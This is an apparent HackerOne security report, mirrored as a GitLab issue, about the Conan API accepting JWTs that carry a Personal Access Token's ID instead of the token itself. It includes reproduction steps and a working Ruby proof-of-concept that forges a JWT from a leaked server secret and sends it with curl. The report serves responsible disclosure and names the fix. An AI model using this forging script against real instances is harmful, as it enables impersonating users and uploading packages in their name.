Skip to content

Conan API incorrectly processes JWT-encoded Personal Access Tokens, leading to potential vulnerability

HackerOne report #1070097 by firelizzard on 2021-01-02, assigned to @cmaxim:

Report | How To Reproduce

Report

Summary

The Conan API incorrectly processes JWT-encoded Personal Access Tokens sent via HTTP Bearer auth. If an attacker is able to determine a server secret (Settings.attr_encrypted_db_key_base), a username, and one of the user's Personal Access Token's ID, the attacker could access the Conan API as if they had the Personal Access Token secret.

This may also affect the dependency proxy.

Steps to reproduce
  1. Target a GitLab instance
    • You must be able to make API requests
  2. Determine the instance's Settings.attr_encrypted_db_key_base
    • This must be done via direct access to the server, or some other vulnerability
  3. Target a user of the instance
    • You need the User ID
    • If all you know is the username, you can use the GraphQL API to get the ID from the username
  4. Guess the ID of one of the user's Personal Access Tokens
    • The PAT must have access to the Conan API
    • If the instance is small enough, you may be able to brute force this
    • If you have an account, you can create your own PAT, which may give you an idea of likely ID ranges to try
  5. Execute the following script
    • You must have the jwt gem installed
require 'time'  
require 'jwt'  
require 'securerandom'

###  URL to attack  
URL = 'https://gdk.test/api/v4/packages/conan/v1/users/check_credentials'

###  User ID of your target  
user_id = 1

###  Personal Access Token ID of your target user  
token_id = 1

###  Settings.attr_encrypted_db_key_base  
key_base = 'REDACTED'

issued_at = Time.now  
not_before = issued_at - 5  
expire_time = issued_at + 60

payload = {  
    jti: SecureRandom.uuid,  
    "access_token": token_id,  
    "user_id": user_id,  
    iat: issued_at.to_i,  
    nbf: not_before.to_i,  
    exp: expire_time.to_i  
}

secret = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA256.new, key_base, 'gitlab-conan-packages')  
encoded = JWT.encode(payload, secret, 'HS256', { typ: 'JWT' })

puts `curl -H "Authorization: Bearer #{encoded}" #{URL}`  
Impact

Ability to do anything with the Conan API that the target user can do. This includes discovering and downloading Conan packages, as well as uploading new packages.

Examples

This requires compromising a server secret, Settings.attr_encrypted_db_key_base, so I have only tested it on my local GDK setup.

What is the current bug behavior?

The way the Conan API authentication processes a JWT-encoded Personal Access Token means authentication will succeed if the JWT has the ID of the PAT instead of the actual (cryptographically secure and random) token.

API::Helpers::Packages::Conan::ApiHelpers#find_personal_access_token_from_conan_jwt on line 248 of lib/api/helpers/packages/conan/api_helpers.rb uses PersonalAccessToken.find_by_id_and_user_id.

What is the expected correct behavior?

The Conan API should only accept a JWT-encoded Personal Access Token if the JWT contains the actual token value.

The helper should use PersonalAccessToken.find_by_token_and_user_id.

Relevant logs and/or screenshots

I'm not sure there are any relevant logs.

Output of checks
Results of GitLab environment info
$ cd ~/Source/gitlab-org/gitlab-development-kit/gitlab  
$ bundle exec rake gitlab:env:info RAILS_ENV=development  
System information  
System:  
Proxy:          no  
Current User:   firelizzard  
Using RVM:      no  
Ruby Version:   2.7.2p137  
Gem Version:    3.1.4  
Bundler Version:2.1.4  
Rake Version:   13.0.1  
Redis Version:  6.0.8  
Git Version:    2.30.0  
Sidekiq Version:5.2.9  
Go Version:     go1.15.5 darwin/amd64

GitLab information  
Version:        13.8.0-pre  
Revision:       f9a79617f8e  
Directory:      /Users/firelizzard/Source/gitlab-org/gitlab-development-kit/gitlab  
DB Adapter:     PostgreSQL  
DB Version:     12.4  
URL:            https://gdk.test:3443  
HTTP Clone URL: https://gdk.test:3443/some-group/some-project.git  
SSH Clone URL:  ssh://firelizzard@gdk.test:2222/some-group/some-project.git  
Elasticsearch:  no  
Geo:            no  
Using LDAP:     no  
Using Omniauth: yes  
Omniauth Providers: google_oauth2

GitLab Shell  
Version:        13.15.0  
Repository storage paths:  
- default:      /Users/firelizzard/Source/gitlab-org/gitlab-development-kit/repositories  
GitLab Shell path:              /Users/firelizzard/Source/gitlab-org/gitlab-development-kit/gitlab-shell  
Git:            /usr/local/bin/git  

Impact

The attacker could to do anything with the Conan API that the target user can do. This includes discovering and downloading Conan packages, as well as uploading new packages.

How To Reproduce

Please add reproducibility information to this section: